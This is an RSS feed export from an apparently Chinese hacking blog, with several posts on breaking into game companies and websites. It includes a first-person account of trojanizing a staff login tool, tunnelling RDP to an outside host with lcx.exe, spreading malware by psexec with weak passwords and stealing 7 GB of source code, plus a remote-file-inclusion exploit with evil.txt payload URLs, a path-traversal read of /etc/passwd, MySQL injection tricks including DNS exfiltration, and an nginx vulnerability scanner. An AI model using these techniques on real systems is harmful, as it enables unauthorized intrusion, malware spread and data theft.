<?xml version="1.0" encoding="utf-8"?>
<rss version="2.0">
	<channel>
		<title>4C00H'blog</title>
		<link>http://www.muhk.cn/</link>
		<description>墓静而思绪，人静则心死！</description>
		<copyright>Copyright (C) 2004 Security Angel Team [S4T] All Rights Reserved.</copyright>
		<generator>SaBlog-X Version 1.6 Build 20080806</generator>
		<lastBuildDate>Sun, 05 Sep 2010 12:18:13 +0000</lastBuildDate>
		<ttl>30</ttl>
		<item>
			<guid>http://www.muhk.cn/?action=show&amp;id=33</guid>
			<title>记一次渗透某游戏公司内网全过程</title>
			<author>muhk</author>
			<description><![CDATA[<div class="content">
<p>文章提交：教主 <br />
<br />
前言:<br />
这篇文章所讲到的渗透思路以及方法适合各位新手和老鸟参考。通过入侵WEB服务器然后进行渗透到游戏公司内部并获取游戏源代码全过程。这次是一次非常顺利的渗透过程，仅限学习参考。<br />
<br />
-----------------------------------------------------第一天-------------------------------------------------------------------<br />
花了3天时间终于拿下了www.xxx.com.tw 的网站服务器.是一款不错的游戏产品。在服务器上找了<br />
大半天找不出一点有用的信息.正准备放弃的时候看到 Ftp文件夹下有一个 员工专用登录器.exe 的程序.<br />
HOHO~觉得有戏。。觉得管理员一定会用这个东西来干嘛..马上把这个东西down到自己的电脑，打开一看原来是游戏管理工具。想了一下这对我也没有什么用啊，唉。不如把马捆到这个上然后替换服务器上的原程序看看管理员会不会下载执行吧。<br />
到网上搜了一个EXE图标提取器，把员工专用登录器.exe的程序图标提取出来。然后用黑洞1.96配了个服务端，花了点时间做了免杀。OK。用Winrar的自释放模式把员工专用登录器.exe和黑洞服务端捆绑在了一起。并传到服务器上覆盖了原来的程序。<br />
;下面的注释自解压脚本命令<br />
Path=%SystemRoot%\<br />
SavePath<br />
Setup=install.exe<br />
Setup=Server.exe<br />
Silent=1<br />
Overwrite=2<br />
-----------------------------------------------------第二天-------------------------------------------------------------------<br />
中午起床后打开黑洞,HOHO果然不出各位的所料。。上线一台 台湾地区的主机。网络类型：内网，WindowsXp 系统。打开屏幕监视..果然就是客服部电脑。正在处理玩家的盗号申诉呢。<br />
我立刻找到在我电脑沉睡已久的Tools3389.exe 传到对方机器。<br />
打开Telnet<br />
c:\tmp\tools3389.exe<br />
运行参数:<br />
无参数 帮助信息[本页]<br />
-O 打开超级终端<br />
-X [端口] 修改终端端口<br />
-K 查看终端服务状态<br />
-C 克隆GUEST账号<br />
-S 查看系统版本<br />
-T XP支持双用户登录<br />
-R 重新启动计算机<br />
-H 帮助信息[本页]<br />
目前终端端口为:3389<br />
c:\tmp\tools3389.exe &ndash;O 3389<br />
接着c:\tmp\tools3389.exe &ndash;T<br />
----------------------------------------------------------------------------------------------------<br />
接下来大家都知道我要做什么了，就是转发3389端口出来渗透内网。找到lcx.exe<br />
cmd: c:\tmp\lcx.exe &ndash;slave xxx.xxx.xxx.xxx 51 127.0.0.1 3389<br />
呵呵,一切是那么的顺利。。熟悉的xp登陆画面就出来了。<br />
克隆了guest帐号登陆。穿了个NT弱口令扫描器到肉鸡里。<br />
net view 看了一下结果发现有4个网段。<br />
用弱口令扫描器扫了全部的网段,结果如下：<br />
1433 Sa 弱口令 17 台<br />
NT-SERVER 弱口令 53 台<br />
内网的安全做的就是差劲。。。。。。<br />
----------------------------------------------------------------------------------------------------<br />
拉了个psexec.exe 然后把我的黑洞服务段也传到肉鸡的c:\tmp目录下。。<br />
经过1个多小时的重复操作:<br />
cmd c:\tmp\psexec.exe \\192.168.5.X &ndash;u administrator &ndash;p 123456 &ndash;c Server.exe &ndash;d<br />
成功上线的肉鸡有42台。<br />
发现192.168.254.X 这个段的机器中了黑洞也不上线，很是纳闷。。于是判断下这个段到底能不能连接外网。<br />
psexec \\192.168.254.20 &ndash;u administrator &ndash;p 123456 cmd<br />
ping www.google.com 结果不出所料。。果然不能连接外网。<br />
这个段到底有什么重要的资料？还不能连接外网呢？在肉鸡上打开3389登录器<br />
连接 192.168.254.20 哇塞。发现一个域 SrcServer 肯定是开发部的域了。还好没有限制内网终端连接。<br />
花了2个多小时翻遍了254这个段的机器。终于发现了游戏的源代码。整整7个G啊。<br />
立刻打包: 7z.exe &ndash;a tzip gamesrc.zip &ldquo;c:\src&rdquo; 打包时间真的的太久了。剩余3个多小时。。。<br />
闲逛一下客服部的网段，发现一个网上邻居的共享文件夹 [FileServer] 看到了一个 内网通 的聊天软件安装端。。如法炮制捆绑上黑洞。。<br />
接着就把游戏源代码拖到了电脑。。。<br />
------------------------------------------------End</p>
</div>]]></description>
			<link>http://www.muhk.cn/?action=show&amp;id=33</link>
			<category domain="http://www.muhk.cn/?cid=2">心情日记</category>
			<pubDate>2010-07-12 14:40</pubDate>
		</item>
		<item>
			<guid>http://www.muhk.cn/?action=show&amp;id=32</guid>
			<title>入侵某网游服务器小记</title>
			<author>muhk</author>
			<description><![CDATA[<p>没什么技术性,只是想说明现状&nbsp;&nbsp;<br />
<br />
现在想弄钱的入侵者，似乎热衷于入侵网络游戏服务器，盗出游戏服务器程序或是数据库。国内的网络游戏企业，都应该招受过此损失，有暴露出来的，有没暴露出来的。但游戏企业对安全问题理解都十分片面，狭隘!&nbsp;&nbsp;<br />
<br />
　当然，不只是网络游戏企业。近一两年来，入侵者乐此不疲，各种商业数据的偷盗在国内几乎快形成一种&quot;圈内产业&quot;。不论是技术性还是行事组织性都与早年不可同日而语。需求与供应在这里似乎有着完美结合。再看看各地公安网监部门，媒体似乎每天都有报道关于某地公安抓获某黑客的事件。但却似乎没有一起真正成熟的案件。抓到的都是小鱼，大鱼都在偷着乐。原因有没发现没报案的，也有网监部门的技术问题。还有就是官僚主义，公安部门发布所谓的&ldquo;战果&rdquo;也乐此不疲。&nbsp;&nbsp;<br />
<br />
　话不说远了，转入正题。&nbsp;&nbsp;<br />
<br />
　一个好友在国内某网络游戏企业工作，让我帮忙测试他们游戏服务器群的安全性。加上我这段时间闲得无聊，也就答应了。&nbsp;&nbsp;<br />
<br />
　我先下载了游戏客户端程序，得到到了几个游戏服务器的地址。&nbsp;&nbsp;<br />
　游戏帐号在WEB网站上也可以注册，看来游戏中央数据库的调用WEB网站也可以。&nbsp;&nbsp;<br />
　先仔细的检查了一下WEB网站，大部分是PHP+MYSQL的。代码写得还不错，几乎找不到什么突破口。再看看MYSQL，禁止远程连接。查看了其他游戏服务器，都是LINUX系统，都只是开了OPENSSH和游戏服务器程序端口。只有WEB网站多个80，而又没什么可利用的地方。&nbsp;&nbsp;<br />
<br />
　　看上去安全做得不错，但这是种幻象！&nbsp;&nbsp;<br />
<br />
　　随后仔细分析了下游戏客户端程序，我打开SnifferPro以便记录下客户端程序和服务器的所有通信。发现客户端程序有个自动更新功能，我Sniff到是通过FTP去下载更新文件的。但我扫描所有游戏服务器时没发现这个FTP端口啊（8888）。仔细看了一下，原来这个端口连接延时十分长。所以扫描器没发现这个端口。&nbsp;&nbsp;<br />
<br />
　　　意外的从更新过程中，竟然Sniff到一个固定的更新程序的FTP帐户。检查了FTP服务器是ProFTPd，我没直接用这个帐户去溢出ProFtpd。因为这台服务器开了SSH，我直接拿帐户去登陆SSH，获得一个权限极低的shell。&nbsp;&nbsp;<br />
<br />
就像一块布，一但撕开一丁点口子，只要稍一加力，整块布都会随之撕开!&nbsp;&nbsp;<br />
<br />
在系统中寻觅了半天，终于寻找到一个有权限去写的tmp目录。查看了内核版本，用kernel do_brk()的问题溢出提升权限获得了rootshell，没去装rkt，因为只是帮忙测试.&nbsp;&nbsp;<br />
<br />
检查了系统的路由表，发现有一个内网，最后确认是VPN，原来所有游戏服务器之间的连接是通过VPN，防火墙的信任检查，都是通过内网的IP地址。外网访问这些服务器都只能看到22端口和游戏服务程序端口。&nbsp;&nbsp;<br />
<br />
在这台已控制的服务器上下载了一个nmap，扫描了其他服务器，发现其中一台开了Samba,查看了一下版本，存在问题。溢出并获得了rootshell。&nbsp;&nbsp;<br />
<br />
到现在为止以控制两台服务器，我把两台服务器的shadow文件都弄回来，拿jonh跑了一遍，没什么弱智密码。看来密码还设得挺好的。&nbsp;&nbsp;<br />
<br />
逛尤了一会，在开了Samba的服务器上，发现了游戏服务器程序。并随之在game.conf文件中发现了中央数据库的地址和一个数据库帐户。登上去看了一下，数据库太庞大，放弃了dump出来的念头。&nbsp;&nbsp;<br />
<br />
　好象没有必要去分析游戏服务器程序，找出vul，去exp，来撕开其他服务器&nbsp;&nbsp;<br />
<br />
　但从其中的一个名为&quot;weihu&quot;的table中，发现一个后台管理帐户和密码，这个密码大小写互换加数字加符号。&nbsp;&nbsp;<br />
<br />
　我在web网站上找到一个后台入口，并用在数据库得到的帐户登陆成功。发现后台管理系统中有一个上传的功能，而且没检查文件后缀名。存放文件目录也是在web目录之下。上传了一个phpshell,执行命令成功，随后我又获得提升权限为root的shell。&nbsp;&nbsp;<br />
<br />
　发现这台机器上还有个root在上面工作，但正在专注用vi编辑一个文件。没发现我。但我想到一个恶作剧。我给这台web网站服务器装了个能监视tty输入的sniff，随后又skill了那个root，那个root被踢下去没多久，又登陆上来。但我立马就抓到了他的密码。&nbsp;&nbsp;<br />
<br />
　我用这个抓到的密码去登陆其他服务器的SSH，并也用root帐户，都登陆成功。&nbsp;&nbsp;<br />
<br />
　感觉所有服务器的系统都应该是直接拷的盘，因为系统版本和所安装的程序和一些配置大都相同。&nbsp;&nbsp;<br />
<br />
　至此已经控制游戏服务器群的所有服务器，其中还有一台是SMS网关。&nbsp;&nbsp;<br />
<br />
　我们的游戏时间结束。只是因为一个小问题，最后导致整个服务器群被控制，其实这在安全问题上，这是必然会发生的。安全无小事!&nbsp;&nbsp;<br />
<br />
　其实这家企业对安全也有投入，硬件防火墙，支持VPN的。但因为一个程序自动更新的设计上的小失败。导致一切都虚设。&nbsp;&nbsp;<br />
<br />
　随后我把整个过程告诉了我那朋友，听得他立马向他们主管汇报了问题。&nbsp;&nbsp;<br />
<br />
<br />
　如有其他游戏企业被入侵，雷同文章所说，那纯属巧合，本人概不负责!</p>]]></description>
			<link>http://www.muhk.cn/?action=show&amp;id=32</link>
			<category domain="http://www.muhk.cn/?cid=2">心情日记</category>
			<pubDate>2010-07-12 14:37</pubDate>
		</item>
		<item>
			<guid>http://www.muhk.cn/?action=show&amp;id=31</guid>
			<title>拿韩国站的时候，要关注一下这个东东</title>
			<author>muhk</author>
			<description><![CDATA[<p>拿韩国站的时候，要关注一下这个东东</p>
<p>Google Dork: inurl:bbs_sun/board.php</p>
<p>board.php文件内容如下:</p>
<p>&mdash;&mdash;&mdash;&mdash;&mdash;&mdash;&mdash;&mdash;&ndash;<br />
&lt;?<br />
if(!$admin) $pgUp .= &ldquo;../&rdquo;;<br />
else if($admin==&rsquo;N') $pgUp .= &ldquo;&rdquo;;</p>
<p>include $pgUp.&rdquo;inc/dbconn.php&rdquo;;<br />
include $pgUp.&rdquo;bbs_sun/config.php&rdquo;;<br />
?&gt;</p>
<p>&lt;link href=&rdquo;&lt;?=$skinSrc?&gt;/style.css&rdquo; rel=&rdquo;stylesheet&rdquo; type=&rdquo;text/css&rdquo;&gt;<br />
&lt;?<br />
if($mode == &ldquo;list&rdquo;) include ($skinSrc.&rdquo;/list.php&rdquo;);<br />
else if($mode == &ldquo;write&rdquo; || $mode == &ldquo;modify&rdquo; || $mode == &ldquo;reply&rdquo;) include ($skinSrc.&rdquo;/write.php&rdquo;);<br />
else if($mode == &ldquo;view&rdquo;) include ($skinSrc.&rdquo;/view.php&rdquo;);<br />
else if($mode == &ldquo;delete&rdquo; || $mode == &ldquo;ment_delete&rdquo;) include ($skinSrc.&rdquo;/delete.php&rdquo;);<br />
?&gt;<br />
&mdash;&mdash;&mdash;&mdash;&mdash;&mdash;&mdash;&mdash;&ndash;</p>
<p>&nbsp;</p>
<p>此处存在远程文件包含漏洞</p>
<p>EXP:</p>
<p>http://xxxx.kr/bbs_sun/board.php?admin=0&times;50sec.org&amp;pgUp=http://www.0&times;50sec.org/evil.txt?</p>
<p>board.php?admin=0&times;50sec.org&amp;pgUp=http://www.0&times;50sec.org/evil.txt?&amp;skinSrc=http://www.0&times;50sec.org/cmd.txt?&amp;cmd=id&amp;mode=view</p>
<p>有的含有download.php文件，对file变量和bname变量都没有进行必要的检查，导致文件泄漏漏洞:</p>
<p>EXP:</p>
<p>http://xxxx.kr/s_board_text/download.php?file=../../../../../etc/passwd&amp;bname=../</p>
<p>mode变量为view时,有的版本对number变量没有过滤导致SQL注射漏洞</p>
<p>mode=view&amp;number=</p>
<p>mode变量为write时,有的版本对管理权限的验证存在问题可以被绕过，从而可以发布文章和上传文件。</p>
<p>打开一条记录，将mode=view直接改为write就可以上传了。</p>
<p>可能还存在其他的问题比如文件删除等，懒得看了。</p>]]></description>
			<link>http://www.muhk.cn/?action=show&amp;id=31</link>
			<category domain="http://www.muhk.cn/?cid=3">漏洞分析</category>
			<pubDate>2010-06-17 23:44</pubDate>
		</item>
		<item>
			<guid>http://www.muhk.cn/?action=show&amp;id=30</guid>
			<title>Mysql另类盲注中的一些技巧</title>
			<author>muhk</author>
			<description><![CDATA[<div>老军家的好东东．二话不说．搞来留彩！</div>
<div>&nbsp;</div>
<div>很多技巧从国外的paper学到的，不过国内没有多少人使用，所以发出来，笔记下~</div>
<div id="_mcePaste">一、order by 的参数注入技巧：</div>
<div id="_mcePaste">两种方法，思路都一样。</div>
<div id="_mcePaste">example. &ldquo;select username,password from uc_members order by&rdquo;.$_GET['oderby']</div>
<div id="_mcePaste">a.常见的利用方法：</div>
<div id="_mcePaste">1.[SQL] select username,password from uc_members order by 1,If((select 1)=2,1,(select value from uc_settings));</div>
<div id="_mcePaste">返回错误：[Err] 1242 &ndash; Subquery returns more than 1 row</div>
<div id="_mcePaste">2.[SQL] select username,password from uc_members order by 1,If((select 1)=1,1,(select value from uc_settings));</div>
<div id="_mcePaste">返回正常。</div>
<div id="_mcePaste">b.国外paper看到的方法：</div>
<div id="_mcePaste">1.[SQL] select username,password from uc_members order by 1,(select case when(2&lt;1) then 1 else 1*(select username from uc_members)end)=1;</div>
<div id="_mcePaste">返回错误：[Err] 1242 &ndash; Subquery returns more than 1 row</div>
<div id="_mcePaste">2.[SQL] select username,password from uc_members order by 1,(select case when(2&gt;1) then 1 else 1*(select username from uc_members)end)=1;</div>
<div id="_mcePaste">返回正常。</div>
<div>二、limit 的参数注入技巧：</div>
<div id="_mcePaste">a.order by之后的limit参数 的注入，因为正常的sql语句order by后无法接union，所以没有好办法，就一个鸡肋思路：into outfile &lsquo;/www/root/xxx.php&rsquo;;</div>
<div id="_mcePaste">b.limit前无order by时的注入，那就方便多了，后面可以直接接union select ，随便怎么注都行了：</div>
<div>&nbsp;</div>
<div id="_mcePaste">select * from cdb_members limit 1 union select 1,2,3,4,5,6,7,8,9,10,1,2,3,4,5,6,7,8,9,10,1,2,3,4,5,6,7,8,9,10,1,2,3,4,5,6,7,8,9,10,1,2,3,4,5,6,7</div>
<div id="_mcePaste">这里还有个技巧，使用procedure analyse可以获取字段名称：</div>
<div id="_mcePaste">select * from cdb_members where uid=1 limit 1,1 procedure analyse()</div>
<div id="_mcePaste">不过procedure analyse同样不能使用在order by之后：</div>
<div id="_mcePaste">[SQL] select * from cdb_members order by uid desc limit 1 procedure analyse()</div>
<div id="_mcePaste">[Err] 1386 &ndash; Can&rsquo;t use ORDER clause with this procedure</div>
<div id="_mcePaste">三、无法猜测字段时的技巧：</div>
<div id="_mcePaste">在mysql5以下版本或者information_schema 无法访问的时候，无法猜到某个表的字段名，于是可以采用这个办法，在子查询中使用%0，报错获得列名。以ucenter的uc_members为例。</div>
<div id="_mcePaste">1.猜测列数：SELECT 1 FROM `uc_members` where (SELECT * FROM `uc_members`)=(1)</div>
<div id="_mcePaste">返回错误：#1241 &ndash; Operand should contain 12 column(s)</div>
<div id="_mcePaste">2.SELECT 1 FROM `uc_members` where (1,2,3,4,5,6,7,8,9,10,11,12)=(SELECT * FROM `uc_members` union select 1,2,3,4,5,6,7,8,9,10,11,12 limit 1)</div>
<div id="_mcePaste">返回正常。</div>
<div id="_mcePaste">3.SELECT 1 FROM `uc_members` where (1,2,3,4,5,6,7,8,9,10,11,12)=(SELECT * FROM `uc_members` union select 1%0,2,3,4,5,6,7,8,9,10,11,12 limit 1)</div>
<div id="_mcePaste">返回错误：#1048 &ndash; Column &lsquo;uid&rsquo; cannot be null</div>
<div id="_mcePaste">4.SELECT 1 FROM `uc_members` where (1,2,3,4,5,6,7,8,9,10,11,12)=(SELECT * FROM `uc_members` union select 1,2%0,3,4,5,6,7,8,9,10,11,12 limit 1)</div>
<div id="_mcePaste">返回错误：#1048 &ndash; Column &lsquo;username&rsquo; cannot be null</div>
<div id="_mcePaste">5. &hellip;&hellip;</div>
<div id="_mcePaste">注：5.1以上版本不适用，字段必须为非空（not null）</div>
<div id="_mcePaste">四、windows下利用dns解析盲注的技巧：</div>
<div id="_mcePaste">如果盲注很累，或者页面无论and 1=1还是and 1=2的时候返回都一模一样，这个时候利用dns进行注入是个不错的方法，前提是win环境root权限下的mysql，利用load_file函数读取远程文件的思路。本地搭建一个dns服务器，然后将特定域名的NS server转过来。然后进行注入，并抓包。</div>
<div id="_mcePaste">本地测试了下（实际注入中单引号可以编码）：select load_file(concat(&lsquo;\\\\aaa1.&rsquo;,(select user()),&rsquo;.oldjun.com\\a.txt&rsquo;))，抓包成功获得select的结果：</div>
<div id="_mcePaste">29 28.524843 192.168.9.107 192.168.1.2 DNS Standard query A aaa1.root@localhost.oldjun.com</div>
<p>很多技巧从国外的paper学到的，不过国内没有多少人使用，所以发出来，笔记下~一、order by 的参数注入技巧：两种方法，思路都一样。example. &ldquo;select username,password from uc_members order by&rdquo;.$_GET['oderby']a.常见的利用方法：1.[SQL] select username,password from uc_members order by 1,If((select 1)=2,1,(select value from uc_settings));返回错误：[Err] 1242 &ndash; Subquery returns more than 1 row2.[SQL] select username,password from uc_members order by 1,If((select 1)=1,1,(select value from uc_settings));返回正常。b.国外paper看到的方法：1.[SQL] select username,password from uc_members order by 1,(select case when(2&lt;1) then 1 else 1*(select username from uc_members)end)=1;返回错误：[Err] 1242 &ndash; Subquery returns more than 1 row2.[SQL] select username,password from uc_members order by 1,(select case when(2&gt;1) then 1 else 1*(select username from uc_members)end)=1;返回正常。二、limit 的参数注入技巧：a.order by之后的limit参数 的注入，因为正常的sql语句order by后无法接union，所以没有好办法，就一个鸡肋思路：into outfile &lsquo;/www/root/xxx.php&rsquo;;b.limit前无order by时的注入，那就方便多了，后面可以直接接union select ，随便怎么注都行了：select * from cdb_members limit 1 union select 1,2,3,4,5,6,7,8,9,10,1,2,3,4,5,6,7,8,9,10,1,2,3,4,5,6,7,8,9,10,1,2,3,4,5,6,7,8,9,10,1,2,3,4,5,6,7这里还有个技巧，使用procedure analyse可以获取字段名称：select * from cdb_members where uid=1 limit 1,1 procedure analyse()不过procedure analyse同样不能使用在order by之后：[SQL] select * from cdb_members order by uid desc limit 1 procedure analyse()[Err] 1386 &ndash; Can&rsquo;t use ORDER clause with this procedure三、无法猜测字段时的技巧：在mysql5以下版本或者information_schema 无法访问的时候，无法猜到某个表的字段名，于是可以采用这个办法，在子查询中使用%0，报错获得列名。以ucenter的uc_members为例。1.猜测列数：SELECT 1 FROM `uc_members` where (SELECT * FROM `uc_members`)=(1)返回错误：#1241 &ndash; Operand should contain 12 column(s)2.SELECT 1 FROM `uc_members` where (1,2,3,4,5,6,7,8,9,10,11,12)=(SELECT * FROM `uc_members` union select 1,2,3,4,5,6,7,8,9,10,11,12 limit 1)返回正常。3.SELECT 1 FROM `uc_members` where (1,2,3,4,5,6,7,8,9,10,11,12)=(SELECT * FROM `uc_members` union select 1%0,2,3,4,5,6,7,8,9,10,11,12 limit 1)返回错误：#1048 &ndash; Column &lsquo;uid&rsquo; cannot be null4.SELECT 1 FROM `uc_members` where (1,2,3,4,5,6,7,8,9,10,11,12)=(SELECT * FROM `uc_members` union select 1,2%0,3,4,5,6,7,8,9,10,11,12 limit 1)返回错误：#1048 &ndash; Column &lsquo;username&rsquo; cannot be null5. &hellip;&hellip;注：5.1以上版本不适用，字段必须为非空（not null）四、windows下利用dns解析盲注的技巧：如果盲注很累，或者页面无论and 1=1还是and 1=2的时候返回都一模一样，这个时候利用dns进行注入是个不错的方法，前提是win环境root权限下的mysql，利用load_file函数读取远程文件的思路。本地搭建一个dns服务器，然后将特定域名的NS server转过来。然后进行注入，并抓包。本地测试了下（实际注入中单引号可以编码）：select load_file(concat(&lsquo;\\\\aaa1.&rsquo;,(select user()),&rsquo;.oldjun.com\\a.txt&rsquo;))，抓包成功获得select的结果：29 28.524843 192.168.9.107 192.168.1.2 DNS Standard query A aaa1.root@localhost</p>]]></description>
			<link>http://www.muhk.cn/?action=show&amp;id=30</link>
			<category domain="http://www.muhk.cn/?cid=4">PHP Powered</category>
			<pubDate>2010-06-17 23:41</pubDate>
		</item>
		<item>
			<guid>http://www.muhk.cn/?action=show&amp;id=29</guid>
			<title>测试软件</title>
			<author>muhk</author>
			<description><![CDATA[<p>测试</p><br /><br /><b>附件: </b><a href="http://www.muhk.cn/attachment.php?id=14" target="_blank">流量刷刷器.rar</a> (32.1 K, 下载次数:20)]]></description>
			<link>http://www.muhk.cn/?action=show&amp;id=29</link>
			<category domain="http://www.muhk.cn/?cid=1">原创作品</category>
			<pubDate>2010-06-15 16:04</pubDate>
		</item>
		<item>
			<guid>http://www.muhk.cn/?action=show&amp;id=28</guid>
			<title>特征码定位原理</title>
			<author>muhk</author>
			<description><![CDATA[<p>特征码定位原理</p><br /><br /><a href="http://www.muhk.cn/?action=show&amp;id=28" target="_blank">阅读全文</a><br /><br />]]></description>
			<link>http://www.muhk.cn/?action=show&amp;id=28</link>
			<category domain="http://www.muhk.cn/?cid=6">免杀汇编</category>
			<pubDate>2010-06-09 13:00</pubDate>
		</item>
		<item>
			<guid>http://www.muhk.cn/?action=show&amp;id=26</guid>
			<title>常见的节名(区段名)及作用表</title>
			<author>muhk</author>
			<description><![CDATA[<p>.arch 最初的构建信息</p>
<p>.bss 未经初始化的数据</p>
<p>.crt C运行期只读数据</p>
<p>.data 已经初始化的数据</p>
<p>.debug 调试信息</p>
<p>.didata 延迟输入文件名表</p>
<p>.edata 导出文件名表</p>
<p>.idata 导入文件名表</p>
<p>.pdata 导常信息</p>
<p>.rdata 只读的初始化数据</p>
<p>.reloc 重定位表信息</p>
<p>.rsrc 资源</p>
<p>.text .exe或.dll文件的可执行代码</p>
<p>.tls 线程的本地存储器</p>]]></description>
			<link>http://www.muhk.cn/?action=show&amp;id=26</link>
			<category domain="http://www.muhk.cn/?cid=6">免杀汇编</category>
			<pubDate>2010-06-08 22:23</pubDate>
		</item>
		<item>
			<guid>http://www.muhk.cn/?action=show&amp;id=25</guid>
			<title>福州至温州</title>
			<author>muhk</author>
			<description><![CDATA[<p>为了一个项目,我碾转了四个城市</p>
<p><a href="http://www.muhk.cn/attachment.php?id=5" target="_blank"><img src="http://www.muhk.cn/attachments/date_201006/thumb_fd005cccf8eef3ab51725a27229c0860.jpg" border="0" alt="大小: 445.26 K&#13;尺寸: 500 x 375&#13;浏览: 2 次&#13;点击打开新窗口浏览全图" width="500" height="375" /></a></p>
<p>福州至温州动车组上某黑</p>
<p><a href="http://www.muhk.cn/attachment.php?id=6" target="_blank"><img src="http://www.muhk.cn/attachments/date_201006/thumb_9549d9a33cc8fa7728d5faa1e2744c64.jpg" border="0" alt="大小: 334.72 K&#13;尺寸: 500 x 375&#13;浏览: 0 次&#13;点击打开新窗口浏览全图" width="500" height="375" /></a></p>
<p>动车上的长腿列车MM</p>
<p><a href="http://www.muhk.cn/attachment.php?id=7" target="_blank"><img src="http://www.muhk.cn/attachments/date_201006/thumb_efdc9b47cc6ca163775bd28f5bb8c22a.jpg" border="0" alt="大小: 467.05 K&#13;尺寸: 500 x 375&#13;浏览: 1 次&#13;点击打开新窗口浏览全图" width="500" height="375" /></a></p>
<p>X庭大酒店房间内无聊的和某2B的渗透工作</p>
<p><a href="http://www.muhk.cn/attachment.php?id=8" target="_blank"><img src="http://www.muhk.cn/attachments/date_201006/thumb_5d280bfa7b1c516db9306da5d751e046.jpg" border="0" alt="大小: 471.47 K&#13;尺寸: 500 x 375&#13;浏览: 0 次&#13;点击打开新窗口浏览全图" width="500" height="375" /></a></p>
<p>看完三国再工作</p>
<p><a href="http://www.muhk.cn/attachment.php?id=9" target="_blank"><img src="http://www.muhk.cn/attachments/date_201006/thumb_e078961d4b9ed3d0efe6229411e8ce69.jpg" border="0" alt="大小: 412.92 K&#13;尺寸: 500 x 375&#13;浏览: 0 次&#13;点击打开新窗口浏览全图" width="500" height="375" /></a></p>
<p>X市机场拉一下TX背影</p>
<p><a href="http://www.muhk.cn/attachment.php?id=10" target="_blank"><img src="http://www.muhk.cn/attachments/date_201006/thumb_bd020269930e8b17980811df1ec11322.jpg" border="0" alt="大小: 298.9 K&#13;尺寸: 500 x 375&#13;浏览: 0 次&#13;点击打开新窗口浏览全图" width="500" height="375" /></a></p>
<p>飞机上无聊的新闻</p>
<p><a href="http://www.muhk.cn/attachment.php?id=11" target="_blank"><img src="http://www.muhk.cn/attachments/date_201006/thumb_1bd2596d54bc65e590c871c7cc32735d.jpg" border="0" alt="大小: 462.3 K&#13;尺寸: 500 x 375&#13;浏览: 0 次&#13;点击打开新窗口浏览全图" width="500" height="375" /></a></p>
<p>吃点点心!</p>
<p><a href="http://www.muhk.cn/attachment.php?id=12" target="_blank"><img src="http://www.muhk.cn/attachments/date_201006/thumb_6ad5c41e14e50c86893e42b876c0abdc.jpg" border="0" alt="大小: 416.27 K&#13;尺寸: 500 x 375&#13;浏览: 0 次&#13;点击打开新窗口浏览全图" width="500" height="375" /></a></p>
<p>到达省会!</p>
<p>&nbsp;</p>
<p>&nbsp;</p>
<p>&nbsp;</p>
<p>&nbsp;</p>
<p>&nbsp;</p>]]></description>
			<link>http://www.muhk.cn/?action=show&amp;id=25</link>
			<category domain="http://www.muhk.cn/?cid=2">心情日记</category>
			<pubDate>2010-06-05 13:21</pubDate>
		</item>
		<item>
			<guid>http://www.muhk.cn/?action=show&amp;id=24</guid>
			<title>Bug&amp;Exp → Nginx-scan Perl扫描器</title>
			<author>muhk</author>
			<description><![CDATA[<p><strong><font color="#ff0000">
<h2><span><a title="查看 Bug&amp;Exp 的全部文章" href="http://www.1141643.com/?cat=13" rel="category">Bug&amp;Exp</a> </span>&rarr; <a title="Permanent Link to Nginx-scan Perl扫描器" href="http://www.1141643.com/?p=277" rel="bookmark">Nginx-scan Perl扫描器</a></h2>
<h2><br />
#来源1： <a href="http://www.80sec.com/nginx-securit.html">http://www.80sec.com/nginx-securit.html</a><br />
#来源2:&nbsp;&nbsp;<a href="http://www.1141643.com/">http://www.1141643.com</a><br />
use LWP;<br />
use LWP::ConnCache;<br />
my $browser = LWP::UserAgent-&gt;new;<br />
$browser-&gt;timeout( 15 );<br />
my $conncache = LWP::ConnCache-&gt;new;&nbsp;<br />
$browser-&gt;conn_cache($conncache);</h2>
<div class="entry">
<p>#先用列表吧，没有用记事本保存列表再读再扫嘿嘿<br />
my @bbslist1;<br />
push @bbslist1,&rdquo;<a href="http://bbs.xxx.com/robots.txt">http://bbs.xxx.com/robots.txt</a>&ldquo;;<br />
push @bbslist1,&rdquo;<a href="http://bbs.yyy.com/robots.txt">http://bbs.yyy.com/robots.txt</a>&rdquo; ;<br />
push @bbslist1,&rsquo;http://bbs.pctutu.com/robots.txt&rsquo;;<br />
push @bbslist1,&rsquo;http://bbs.yahoo.cn/robots.txt&rsquo;;</p>
<p>#Server: nginx/0.8.13<br />
#Content-Type: text/html</p>
<p>print &ldquo;\t\tNginx漏洞扫描程序 \n\n&rdquo;;<br />
foreach my $url (@bbslist1){<br />
&nbsp; print &ldquo;目前正在扫描：$url\n&rdquo;;<br />
&nbsp;my&nbsp;$response= $browser-&gt;get( $url);<br />
&nbsp;$response-&gt;is_success or say(&ldquo;Failed to get &lsquo;$url&rsquo;:\n&rdquo;, $response-&gt;status_line);<br />
&nbsp;my $servertype = $response-&gt;server;<br />
&nbsp; print &ldquo;$servertype\n&rdquo;;<br />
&nbsp;if ($servertype=~/nginx/){<br />
&nbsp;&nbsp;my $typeold=$response-&gt;content_type;<br />
&nbsp;&nbsp;print &ldquo;$typeold\n&rdquo;;<br />
&nbsp;&nbsp;my $url2=$url.&rsquo;/xysky.php&rsquo;;<br />
&nbsp;&nbsp;my&nbsp;$response2 = $browser-&gt;get( $url2);<br />
&nbsp;&nbsp;$response2-&gt;is_success or say(&ldquo;Failed to get &lsquo;$url2&prime;:\n&rdquo;, $response-&gt;status_line);<br />
&nbsp;&nbsp;my $typenew=$response2-&gt;content_type;<br />
&nbsp;&nbsp;print &ldquo;$typenew\n&rdquo;;<br />
&nbsp;&nbsp;if ($typeold eq $typenew){<br />
&nbsp;&nbsp;&nbsp; print &ldquo;站点 $url 暂没有发现漏洞.\n\n&rdquo;;<br />
&nbsp;&nbsp;}else{<br />
&nbsp;&nbsp;&nbsp; print &ldquo;站点 $url 存在该漏洞.\n\n&rdquo;;<br />
&nbsp;&nbsp;}<br />
&nbsp;}else{<br />
&nbsp;print &ldquo;站点不是nginx,Sorry!\n\n&rdquo;;<br />
&nbsp;}<br />
}</p>
</div>
</font></strong></p>]]></description>
			<link>http://www.muhk.cn/?action=show&amp;id=24</link>
			<category domain="http://www.muhk.cn/?cid=2">心情日记</category>
			<pubDate>2010-06-03 11:00</pubDate>
		</item>
		<item>
			<guid>http://www.muhk.cn/?action=show&amp;id=23</guid>
			<title>第6代机器狗评测报告</title>
			<author>muhk</author>
			<description><![CDATA[<p>机器狗</p><br /><br /><a href="http://www.muhk.cn/?action=show&amp;id=23" target="_blank">阅读全文</a><br /><br />]]></description>
